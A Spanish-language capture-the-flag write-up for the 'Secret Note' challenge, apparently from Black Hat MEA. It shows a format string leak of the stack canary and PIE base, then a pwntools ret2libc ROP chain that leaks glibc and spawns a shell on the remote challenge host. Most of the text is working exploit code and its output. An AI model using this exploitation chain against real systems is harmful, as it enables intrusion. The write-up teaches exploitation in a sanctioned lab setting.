Secret Note
6 minutos de lectura
Se nos proporciona un binario de 64 bits llamado main
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Si abrimos el binario en Ghidra, veremos las siguientes funciones:
void get_name() {
long in_FS_OFFSET;
char name[40];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
puts("Please fill in your name:");
read(0, name, 30);
printf("Thank you ");
printf(name);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
int main() {
long in_FS_OFFSET;
char secret[56];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setvbuf(stderr, NULL, 2, 0);
setvbuf(stdout, NULL, 2, 0);
get_name();
puts("So let\'s get into business, give me a secret to exploit me :).");
gets(secret);
puts("Bye, good luck next time :D ");
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Existen dos vulnerabilidades: un Buffer Overflow debido al uso de gets
, y una vulnerabilidad de Format String por el uso de printf
con una variable controlada como primer parámetro.
Como todas las protecciones están habilitadas, tendremos que fugar el canario de la pila, una dirección del binario en tiempo de ejecución para burlar PIE y una direccón de Glibc para burlar ASLR.
De momento, podemos enumerar la vulnerabilidad de Format String
$ ./main
Please fill in your name:
%lx
Thank you 7fffffffbff0
So let's get into business, give me a secret to exploit me :).
^C
Esto es solo una prueba de concepto, hemos fugado un valor de la pila usando el formato %lx
. Vamos a ver qué podemos obtener de la pila (stack). Para eso, hice un pequeño bucle mediante shell scripting:
$ for i in {1..30}; do echo -n "$i: "; echo "%$i\$lx\n" | ./main | head -2 | tail -1 | awk '{ print $3 }'; done
1: 7fffffffbff0
2: 0
3: 0
4: a
5: a
6: a0a786c243625
7: 7ffff7e41de5
8: 555555555310
9: 7fffffffe710
10: 555555555100
11: 63acce113dd9c300
12: 7fffffffe710
13: 5555555552c5
14: 7fffffffe6f6
15: 55555555535d
16: 7ffff7fae2e8
17: 555555555310
18: 0
19: 555555555100
20: 7fffffffe800
21: 23c748f15ffbef00
22: 0
23: 7ffff7de1083
24: 7ffff7ffc620
25: 7fffffffe808
26: 100000000
27: 555555555264
28: 555555555310
29: 774f9dc3d5661ab7
30: 555555555100
El canario de la pila es fácil de reconocer porque siempre es aleatorio y termina en un byte nulo. Lo encontrarmos en la posición 11.
Luego, podemos ver algunas direcciones que empiezan por 555555555
. Estas son direcciones del binario (desactivé ASLR temporalmente). La dirección en la posición 27 termina en 264
, y coincide con el offsset de main
:
$ readelf -s main | grep main
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
56: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
66: 0000000000001264 165 FUNC GLOBAL DEFAULT 16 main
Así, obtenemos una manera de fugar el canario y la dirección del main
. Vamos a comenzar con el exploit en Python:
def get_canary_main_addr(p):
p.sendlineafter(b'Please fill in your name:\n', b'%11$lx.%27$lx')
p.recvuntil(b'Thank you ')
canary, main_addr = map(lambda x: int(x, 16), p.recvline().split(b'.'))
log.info(f'Leaked canary: {hex(canary)}')
log.info(f'Leaked main() address: {hex(main_addr)}')
return canary, main_addr
def main():
p = get_process()
canary, main_addr = get_canary_main_addr(p)
elf.address = main_addr - elf.sym.main
log.info(f'ELF base address: {hex(elf.address)}')
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './main': pid 1642002
[*] Leaked canary: 0xfafefec6ed0f4e00
[*] Leaked main() address: 0x555555555264
[*] ELF base address: 0x555555554000
[*] Stopped process './main' (pid 1642002)
Todo bien. Ahora toca explotar la vulnerabilidad de Buffer Overflow.
Aunque podía haber obtenido una fuga de memoria de Glibc usando la vulnerabilidad de Format String, decidí realizar un ataque ret2libc común con bypass de ASLR. Esto consiste en llamar a puts
mediante la Tabla de Enlaces a Procedimientos (PLT) configurando la entrada de una función en la Tabla de Offsets Globales (GOT) como primer argumento, mediante Return Oriented Programming (ROP). Usaré pwntools
directamente para ahorrar tiempo:
rop = ROP(elf)
offset = 56
junk = b'A' * offset
leaked_function = 'setvbuf'
payload = junk
payload += p64(canary)
payload += p64(0)
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(elf.got[leaked_function])
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.sendlineafter(b'So let\'s get into business, give me a secret to exploit me :).\n', payload)
p.recvline()
leaked_function_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked {leaked_function}() address: {hex(leaked_function_addr)}')
glibc.address = leaked_function_addr - glibc.sym[leaked_function]
log.info(f'Glibc base address: {hex(glibc.address)}')
$ python3 solve.py
[*] './main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './main': pid 1644101
[*] Leaked canary: 0x45c2abc35c668400
[*] Leaked main() address: 0x555555555264
[*] ELF base address: 0x555555554000
[*] Loaded 14 cached gadgets for 'main'
[*] Leaked setvbuf() address: 0x7ffff7e41ce0
[*] Glibc base address: 0x7ffff7dbd000
[*] Stopped process './main' (pid 1644101)
Perfecto, y ahora que tenemos la dirección base de Glibc, podemos llamar a system("/bin/sh")
. Nótese que hemos retornado al main
, por lo que tenemos que enviar otro “nombre” antes de explotar la vulnerabilidad de Buffer Overflow otra vez:
p.sendline()
payload = junk
payload += p64(canary)
payload += p64(0)
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(glibc.sym.system)
p.sendlineafter(b'So let\'s get into business, give me a secret to exploit me :).\n', payload)
p.recvline()
p.interactive()
Si activo ASLE, todo funciona bien y obtengo una shell en local:
$ python3 solve.py
[*] './main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './main': pid 1645479
[*] Leaked canary: 0x90b02c1284165b00
[*] Leaked main() address: 0x55f24178f264
[*] ELF base address: 0x55f24178e000
[*] Loaded 14 cached gadgets for 'main'
[*] Leaked setvbuf() address: 0x7f11f3e87ce0
[*] Glibc base address: 0x7f11f3e03000
[*] Switching to interactive mode
$ ls
main solve.py
Ahora tenemos que ejecutarlo en remoto y encontrar la versión de Glibc adecuada. Mediante dos fugas de memoria de Glibc, vemos que la instancia remota utiliza Glibc 2.27 (libc.rip):
Podríamos haber visto también que el Dockerfile
comenzaba por FROM ubuntu:18.04
.
Una vez modificado el exploit obtenemos una shell en la instancia remota:
$ python3 solve.py blackhat2-a7c0aeda4583a436e729b57c9ff83838-0.chals.bh.ctf.sa
[*] './main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to blackhat2-a7c0aeda4583a436e729b57c9ff83838-0.chals.bh.ctf.sa on port 443: Done
[*] Leaked canary: 0xf085d069ad9c9a00
[*] Leaked main() address: 0x55993e81a264
[*] ELF base address: 0x55993e819000
[*] Loading gadgets for './main'
[*] Leaked setvbuf() address: 0x7f93c19df2a0
[*] Glibc base address: 0x7f93c195e000
[*] Switching to interactive mode
$ cat flag.txt
BlackHatMEA{96:21:9f27d3e8d68fd8bbfb5b88a969e6ff4054624b6c}
El exploit completo se puede encontrar aquí: solve.py
.